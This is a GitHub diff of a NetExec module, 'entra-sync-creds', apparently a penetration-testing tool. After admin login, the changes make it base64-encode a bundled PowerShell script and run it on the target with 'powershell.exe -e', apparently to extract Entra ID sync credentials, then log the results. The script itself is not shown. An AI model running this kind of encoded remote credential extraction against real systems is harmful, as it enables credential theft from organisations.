File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 11
2+ from base64 import b64encode
3+ from nxc .helpers .powershell import get_ps_script
4+
5+
26class NXCModule :
37 """
48 Example:
59 -------
6- Module by @yomama
10+ Module by @NeffIsBack
711 """
812
913 name = "entra-sync-creds"
@@ -16,10 +20,31 @@ def __init__(self):
1620 self .context = None
1721 self .module_options = None
1822
23+ self .entra_id_psscript = ""
24+
25+ with open (get_ps_script ("entra-sync-creds/entra-sync-creds.ps1" )) as psFile :
26+ for line in psFile :
27+ if line .startswith ("#" ) or line .strip () == "" :
28+ continue
29+ else :
30+ self .entra_id_psscript += line .strip () + "\n "
31+
1932 def options (self , context , module_options ):
20- """Required.
21- Module options get parsed here. Additionally, put the modules usage here as well
22- """
33+ """No module options available."""
2334
2435 def on_admin_login (self , context , connection ):
2536 self .context = context
37+
38+ psScript_b64 = b64encode (self .entra_id_psscript .encode ("UTF-16LE" )).decode ("utf-8" )
39+ out = connection .execute (f"powershell.exe -e { psScript_b64 } -OutputFormat Text" , True )
40+
41+ if "CLIXML" in out :
42+ out = out .split ("CLIXML" )[1 ].split ("<Objs Version" )[0 ]
43+
44+ for line in out .splitlines ():
45+ if not line .strip ():
46+ continue
47+ if "[!]" in line :
48+ self .context .log .fail (line .replace ("[!]" , "" ).strip ())
49+ else :
50+ self .context .log .highlight (line .strip ())
You can’t perform that action at this time.
0 commit comments